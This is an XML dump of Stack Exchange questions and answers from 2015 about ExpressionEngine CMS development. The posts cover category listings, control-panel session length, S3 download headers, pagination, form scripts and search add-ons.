  <row Id="30111" PostTypeId="1" AcceptedAnswerId="30152" CreationDate="2015-02-19T17:36:22.497" Score="0" ViewCount="427" Body="&lt;p&gt;The title may be deceiving and I may be missing something exceptionally obvious but I am trying to display a series of entries by category that link to external websites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic outcome should be like this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Category 1&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site one&lt;/a&gt;&lt;br /&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site two&lt;/a&gt;&lt;br /&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site three&lt;/a&gt;&lt;br /&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Category 2&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site four&lt;/a&gt;&lt;br /&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site five&lt;/a&gt;&lt;br /&gt;&#xA;    &lt;a href=&quot;http://external-url.com&quot; rel=&quot;nofollow&quot;&gt;Site six&lt;/a&gt;&lt;br /&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried the basic Category Archive approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;gardens&quot; style=&quot;linear&quot;}&#xA;    {categories}&#xA;        &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;    {/categories}&#xA;        {entry_titles}&#xA;            &amp;lt;a href=&quot;{external_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/entry_titles}&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gets the correct structure but it is looking for an internal reference and simply appends the external URL to the site url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some searching on StackExchange I found this option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:category_archive channel=&quot;botanical_gardens&quot; style=&quot;linear&quot;}&#xA;    {categories}&#xA;        &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;        {exp:channel:entries channel=&quot;botanical_gardens&quot;}&#xA;          &amp;lt;a href=&quot;{garden_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/categories}&#xA;  {/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it displays all the entries under each category. I need something that merges the functionality of these two options and allows the URL to be to an external site. &lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2015-02-19T18:10:01.730" LastActivityDate="2015-02-21T13:47:32.737" Title="How do I display entries by Category" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30112" PostTypeId="2" ParentId="30109" CreationDate="2015-02-19T18:04:18.663" Score="1" Body="&lt;p&gt;Well, have you tried the terrible idea of modifying core files? In 2.9.2 you can try modifying system/expressionengine/libraries/Session.php and edit line 74:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cpan_session_len    = 3600;  // Admin sessions expire in one hour&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-02-19T18:04:18.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30113" PostTypeId="2" ParentId="28490" CreationDate="2015-02-19T18:16:31.107" Score="0" Body="&lt;p&gt;The &quot;You are not authorized to perform this action&quot; error can occur under these two situations (in addition to other situations too):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When EE determines that a posted comment is a duplicate. So if you keep posting a comment with &quot;test&quot; as the copy, EE will trigger the error.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a person submits a comment and then uses their back button to post a second comment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-02-19T18:16:31.107" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="30114" PostTypeId="2" ParentId="30109" CreationDate="2015-02-19T18:22:38.987" Score="1" Body="&lt;p&gt;I believe the session time variable may have been deprecated in recent EE updates, since it is no longer listed in the EE knowledge base for config variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 'insert number value here';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Default is/was 3600 seconds for that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried as an alternative setting the cp_session_type variable in your config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_type'] = 'c';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When set to cookies only (value of c), rather than using sessions (s or cs for sessions + cookies), you should then see an option on the cpanel screen next time you login to 'Auto login on future visits?'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the login will remain valid for up to 2 weeks I believe, so even on closing the CPanel, navigating back to the page later should log back in automagically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a direct answer I know, but hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="6059" LastEditorUserId="6059" LastEditDate="2015-02-19T22:13:52.417" LastActivityDate="2015-02-19T22:13:52.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30115" PostTypeId="2" ParentId="30107" CreationDate="2015-02-19T18:28:26.273" Score="0" Body="&lt;p&gt;Check both the /index.php and /admin.php files... also /system/index.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it sounds like there might possibly be an actual config file somewhere if you weren't able to edit under General Configurations. It might be here /system/expressionengine/config/config.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The file structure for EE can be set up in different ways so if you don't have a &quot;system&quot; directory in root, you're going to have to find it... It might not be named &quot;system&quot;. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-02-19T18:28:26.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30116" PostTypeId="1" CreationDate="2015-02-19T18:28:52.853" Score="2" ViewCount="43" Body="&lt;p&gt;Long story short: in Chrome, some PDF files stored in our S3 bucket (uploaded via Assets) hang up on download. Chrome just sits there, never downloading the file. (However, right-clicking the link directly seems to work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Numerous tutorials exist recommending a Content-disposition Meta parameter be set on the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is something that should occur during the PUT command when the file is added to the s3 bucket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be set in Assets?&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2015-03-22T15:50:15.043" Title="Pixelandtonic Assets: Set Content-disposition?" Tags="|assets|pixelandtonic|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30117" PostTypeId="2" ParentId="30116" CreationDate="2015-02-19T19:28:22.007" Score="1" Body="&lt;p&gt;There's no hook for this in Assets, so you'd have to hack the add-on to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at line 821 of &lt;code&gt;sources/s3/source.s3.php&lt;/code&gt; ... right after this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$headers = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));&#xA;if($ext == 'pdf')&#xA;{&#xA;    $headers['Content-Disposition'] = 'attachment';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this isn't upgrade-safe, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-19T19:28:22.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30118" PostTypeId="2" ParentId="25809" CreationDate="2015-02-19T20:32:57.743" Score="0" Body="&lt;p&gt;To clarify the above answer, you need to update the &quot;site_url&quot; variable that is hard-wired in /system/expressionengine/config/config.php. And if using MSM, in the index.php file of the secondary domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the URL to begin with either &quot;https://&quot;, or simply &quot;//&quot; if you have your site otherwise set up to load either over http or https.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2015-02-19T20:32:57.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30119" PostTypeId="2" ParentId="30111" CreationDate="2015-02-19T20:59:03.333" Score="1" Body="&lt;p&gt;Your first attempt looks correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What format are the urls in the field you are using? If they don't contain http:// then it's likely to be assumed they are relative to the existing site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An extension such as &lt;a href=&quot;https://devot-ee.com/add-ons/vz-url-extension&quot; rel=&quot;nofollow&quot;&gt;VZ URL extension&lt;/a&gt; could help you out here by ensuring that the url stored include the protocol.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-19T20:59:03.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30120" PostTypeId="2" ParentId="30110" CreationDate="2015-02-19T21:19:24.983" Score="0" Body="&lt;p&gt;I really couldn't find a good answer anywhere, so I'm putting this here for anyone else who runs into this problem. First, you need to make sure your template has PHP allowed on Output. Next, dump this little function somewhere in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// fun, thanks expression engine!&#xA;function pager($in)&#xA;{&#xA;    $a = array();&#xA;    preg_match('/(P\d+)/', $in, $a);&#xA;    if(isset($a[0]))&#xA;    {&#xA;        return $a[0];&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, instead of just dumping {pagination_url} into an anchor link, my pagination links looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{previous_page}&#xA;    &amp;lt;a href=&quot;{site_index}/search/&amp;lt;?=urlencode('{segment_2}')?&amp;gt;/&amp;lt;?=pager('{pagination_url}')?&amp;gt;&quot; class=&quot;page-previous&quot;&amp;gt;&#xA;        &amp;amp;larr;&#xA;    &amp;lt;/a&amp;gt;&#xA;{/previous_page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But yeah, that's how I went about it. It's not clean perfect, but it works for anyone who has to paginate a MySQL query using keywords and match-against.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-02-19T21:19:24.983" CommentCount="0" CommunityOwnedDate="2015-02-19T21:19:24.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="30121" PostTypeId="1" AcceptedAnswerId="30137" CreationDate="2015-02-19T22:47:53.400" Score="0" ViewCount="25" Body="&lt;p&gt;I'm updating a client site to EE 2.9.2 from 2.5.1. Along the way I'm also updating the build of Low's NoSpam extension. Once installed it's throwing the following CP error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Use of undefined constant LOW_NOSPAM_CLASS_NAME - assumed 'LOW_NOSPAM_CLASS_NAME'&#xA;  Filename: libraries/Accessories.php&#xA;  Line Number: 106&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've re-downloaded/installed the files and uninstalled/reinstalled a couple times to no avail...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-02-20T12:37:11.390" Title="Use of undefined constant Error in Low No Spam" Tags="|low|low-no-spam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30122" PostTypeId="1" CreationDate="2015-02-19T23:31:57.107" Score="0" ViewCount="80" Body="&lt;p&gt;I have a freeform pro form that is using a piece of javascript to provide a progress indicator once a form is submitted. Idea is seen here: &lt;a href=&quot;http://tympanus.net/Development/ProgressButtonStyles/&quot; rel=&quot;nofollow&quot;&gt;http://tympanus.net/Development/ProgressButtonStyles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with this script enabled, the form will not submit. When I comment out the js, the form submits fine. I cannot figure out what I need to edit in the script to play nice with Freeform. Code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initProgressBtn(){&#xA;    jQuery('.form').each(function() {&#xA;        var form = jQuery(this);&#xA;        var sendBtn = form.find('.progress-button');&#xA;        var ajaxBusy = false;&#xA;&#xA;        new ProgressButton( sendBtn.get(0), {&#xA;            callback : function( instance ) {&#xA;                var progress = 0,&#xA;                interval = setInterval( function() {&#xA;                    progress = Math.min( progress + Math.random() * 0.1, 1 );&#xA;                    instance._setProgress( progress );&#xA;&#xA;                    if( progress === 1 ) {&#xA;                        instance._stop(1);&#xA;                        clearInterval( interval );&#xA;                    }&#xA;                }, 200 );&#xA;                form.trigger('startProgress');&#xA;            }&#xA;        });&#xA;&#xA;        function onSendForm(e) {&#xA;            e.preventDefault();&#xA;            if(!ajaxBusy) {&#xA;                ajaxBusy = true;&#xA;&#xA;                jQuery.ajax({&#xA;                    url: form.attr('action'),&#xA;                    type: form.attr('method'),&#xA;                    data: form.serialize(),&#xA;                    dataType: 'text',&#xA;                    success: function() {&#xA;&#xA;                    }&#xA;                });&#xA;            }&#xA;        }&#xA;&#xA;        form.on('submit startProgress', onSendForm);&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated - thanks!&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-10-05T10:23:01.933" Title="Freeform Pro Form with Submission Progress" Tags="|solspace-freeform|forms|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30123" PostTypeId="1" AcceptedAnswerId="30124" CreationDate="2015-02-19T23:37:07.787" Score="0" ViewCount="27" Body="&lt;p&gt;Wondering if there was quicker way to update Product Modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a lot of products which are the same price but bit of a pain having to update every price modifier 1 by 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone used Zenbu to maybe mass edit these. Don't think it's supported.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-19T23:48:36.790" Title="Quicker way to edit modifiers" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30124" PostTypeId="2" ParentId="30123" CreationDate="2015-02-19T23:48:36.790" Score="0" Body="&lt;p&gt;Sorry to say, but in a word: nope.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-19T23:48:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30126" PostTypeId="1" AcceptedAnswerId="30131" CreationDate="2015-02-20T00:57:51.463" Score="1" ViewCount="163" Body="&lt;p&gt;I'm using Dynamic Parameters to filter through some channels&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the chosen select value to stay selected rather than it default back to the first option (All Tours in my case) after posting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='template/{segment_2}'}&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;              &amp;lt;select name=&quot;channel&quot;&amp;gt;&#xA;                  &amp;lt;option value=&quot;llanelly-house-tour|restoration-tour|ghostly-tour&quot;&amp;gt;All Tours&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;llanelly-house-tour&quot;&amp;gt;Llanelly House Tour&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;restoration-tour&quot;&amp;gt;Restoration Tour&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;ghostly-tour&quot;&amp;gt;Ghostly Tour&amp;lt;/option&amp;gt;&#xA;              &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;small-2 columns&quot;&amp;gt;&#xA;    &amp;lt;input role=&quot;button&quot; aria-label=&quot;Submit&quot; name=&quot;submit&quot; type=&quot;submit&quot; class=&quot;button postfix submit&quot; value=&quot;Go&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-02-20T01:05:55.423" LastActivityDate="2015-02-21T13:33:33.197" Title="Dynamic Parameter to stay selected" Tags="|channel-entries|filter|dynamic|drop-down|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30127" PostTypeId="2" ParentId="30083" CreationDate="2015-02-20T01:42:43.187" Score="0" Body="&lt;p&gt;This was somehow related to the Postfix configuration on the server. Once I changed the default MTA back to Sendmail the issue was resolved!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-02-20T01:42:43.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30128" PostTypeId="2" ParentId="30078" CreationDate="2015-02-20T01:56:40.740" Score="2" Body="&lt;p&gt;It could be a couple things. First check if you can upload the file in file manager. If you can, then I would look to make sure Flash is installed and then make sure the domain logged in is the exact same url setup for EE, www and all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the file manager login doesn't work, then you need to diagnose EE/PHP issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of this works, make a ticket at DevDemon.com.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-20T01:56:40.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30129" PostTypeId="1" AcceptedAnswerId="30144" CreationDate="2015-02-20T03:58:04.193" Score="0" ViewCount="121" Body="&lt;p&gt;Has anyone been able to get Custom Fields to work with the DevDemon Subscriptions add-on?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very bottom of this page (&lt;a href=&quot;http://www.devdemon.com/documentation/tag/subs-subscribe/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/tag/subs-subscribe/&lt;/a&gt;) there are two Note's relating to this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note 1: Custom Member Fields are supported. Use the following format for form names m_field_id_XX. Example: &lt;/li&gt;&#xA;&lt;li&gt;Note 2: The setting &quot;Is field visible in registration page?&quot; on each Custom Member Field has to be set to &quot;Yes&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried this and can't get it to work.  Anyone had luck with this?&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2015-02-20T18:34:21.950" Title="Custom Fields in DevDemon Subscriptions" Tags="|custom-fields|devdemon|subscriptions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30131" PostTypeId="2" ParentId="30126" CreationDate="2015-02-20T08:46:58.323" Score="1" Body="&lt;p&gt;Couple of options here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;https://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; to get to the &lt;code&gt;{post:channel}&lt;/code&gt; variable and use that in a conditional to add the &lt;code&gt;selected&lt;/code&gt; attribute to your options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use &lt;a href=&quot;https://devot-ee.com/add-ons/dynamo&quot; rel=&quot;nofollow&quot;&gt;Dynamo&lt;/a&gt;, which offers even more functionality for dynamic parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go all out, choosing a proper search/filtering add-on would be the way to go. Options are &lt;a href=&quot;https://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;Solspace Super Search&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; by yours truly.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-20T08:46:58.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30132" PostTypeId="2" ParentId="30103" CreationDate="2015-02-20T10:29:49.960" Score="1" Body="&lt;p&gt;SPO far as I can tell, the only comprehensive multiple membership capability for EE is &lt;a href=&quot;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&quot; rel=&quot;nofollow&quot;&gt;HooBlong Multiple Memberships&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2015-02-20T10:29:49.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30133" PostTypeId="1" AcceptedAnswerId="30136" CreationDate="2015-02-20T10:48:50.457" Score="0" ViewCount="22" Body="&lt;p&gt;I've just created a new channel; after populating it with content, I went to view it in the front end to find the channel:entries tag outputting zero content. On checking the channel's entries in the back end I discovered that none of the data I'd entered had been retained. I've tried re-entering data several times but it's never retained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing weird about this channel; it consists of a single Grid field that is basically a near-exact copy of a Grid used in another channel -- which works fine. (The only difference, other than a different field name, is the removal of one column).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked through the channel preferences (which, in any case, I created by duplicating the other Grid channel's prefs at the time I created the problematic channel) but can't see anything that might prevent a channel from storing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest anything that might be causing this refusal to retain data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Additional info: when I originally created the channel I set it to make use of the 'Single Entries' add-on. I've removed it from that add-on so that it's now a 'normal' channel again, but it makes no difference; data is still not retained].&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-20T12:13:30.250" Title="What might prevent a channel from retaining submitted content?" Tags="|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30134" PostTypeId="1" CreationDate="2015-02-20T10:58:40.003" Score="1" ViewCount="242" Body="&lt;p&gt;I want to use the numeric matching possibility of EE with 2 conditions to only show entries that are in a certain range of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried these two but none of them works (it just shows nothing) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:cost=&quot;&amp;gt;={embed:the_cost-from}&quot; search:cost=&quot;&amp;lt;={embed:the_cost-to}&quot;&#xA;&#xA;search:cost=&quot;&amp;gt;={embed:the_cost-from}|&amp;lt;={embed:the_cost-to}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I ask just for one search:cost numeric matching (&lt;code&gt;search:cost=&quot;&amp;gt;={embed:the_cost-from}&quot;&lt;/code&gt;  or  &lt;code&gt;search:cost=&quot;&amp;gt;={embed:the_cost-to}&quot;&lt;/code&gt;) it displays something but not what I want because I want something from a range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a EE bug or simply not intended or I just do it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-02-20T11:32:00.447" Title="search:field_name parameter combined numeric matching doesn't work" Tags="|channel-entries|bug|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30135" PostTypeId="2" ParentId="30134" CreationDate="2015-02-20T11:32:00.447" Score="1" Body="&lt;p&gt;EE doesn't support that range syntax out of the box. It expects a &lt;em&gt;single numeric value&lt;/em&gt; after the operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need either the Query module or an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;Solspace Super Search&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;, by yours truly. With the latter, you &lt;em&gt;can&lt;/em&gt; use this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results search:cost=&quot;&amp;gt;=10|&amp;lt;=20&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#ranges&quot; rel=&quot;nofollow&quot;&gt;Ranges filter&lt;/a&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results range:cost=&quot;10|20&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or split up into two parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results range-from:cost=&quot;10&quot; range-to:cost=&quot;20&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;{exp:low_search:results}&lt;/code&gt; tag is interchangeable with the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-20T11:32:00.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30136" PostTypeId="2" ParentId="30133" CreationDate="2015-02-20T12:13:30.250" Score="1" Body="&lt;p&gt;Figured it out. The problem arose from the fact that when I created the channel (channel B) I opted to duplicate the preferences of a channel (channel A) that had its 'Title' and 'URL Title' fields hidden via Publishing Layouts and the 'Hidden Tab' add-on. Channel A was set as a 'Single Entry' channel via that particular add-on, so its title and URL title were no longer needed in the editing page and could safely be hidden, reducing clutter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By choosing to use the preferences of Channel A in creating Channel B, I also gave it the same Publishing Layout. So I was entering data into the channel but not giving it a Title or a URL Title (because those fields were hidden, out of sight and out of mind).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Temporarily making those fields visible again meant that I could populate them with data and thus have the entry retained. Having done so I could once again make the channel a 'Single Entry' type and safely re-hide the fields, since all further changes to that channel would be edits, not publishing new entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I thought I'd post the cause and the solution here in case anyone else runs into the same problem, which is really just a consequence of duplicating the preferences of a visually-decluttered channel. Logical, but not necessarily immediately-obvious.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-20T12:13:30.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30137" PostTypeId="2" ParentId="30121" CreationDate="2015-02-20T12:37:11.390" Score="0" Body="&lt;p&gt;The latest version of Low NoSpam doesn't have an accessory. Make sure the acc.low_nospam.php file is not present in the add-on package.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-20T12:37:11.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30138" PostTypeId="2" ParentId="30086" CreationDate="2015-02-20T13:00:10.753" Score="0" Body="&lt;p&gt;Not in the way you are thinking, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add another Playa field to your Reports channel which lists Employees, but there's no way to have it dynamically filter to only display the employees which are selected in the Departments entry you've selected on the same entry screen.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-20T13:00:10.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30144" PostTypeId="2" ParentId="30129" CreationDate="2015-02-20T18:34:21.950" Score="1" Body="&lt;p&gt;You need Subscriptions 1.5.3 for custom member fields to be detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/subscriptions&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/subscriptions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2015-02-20T18:34:21.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
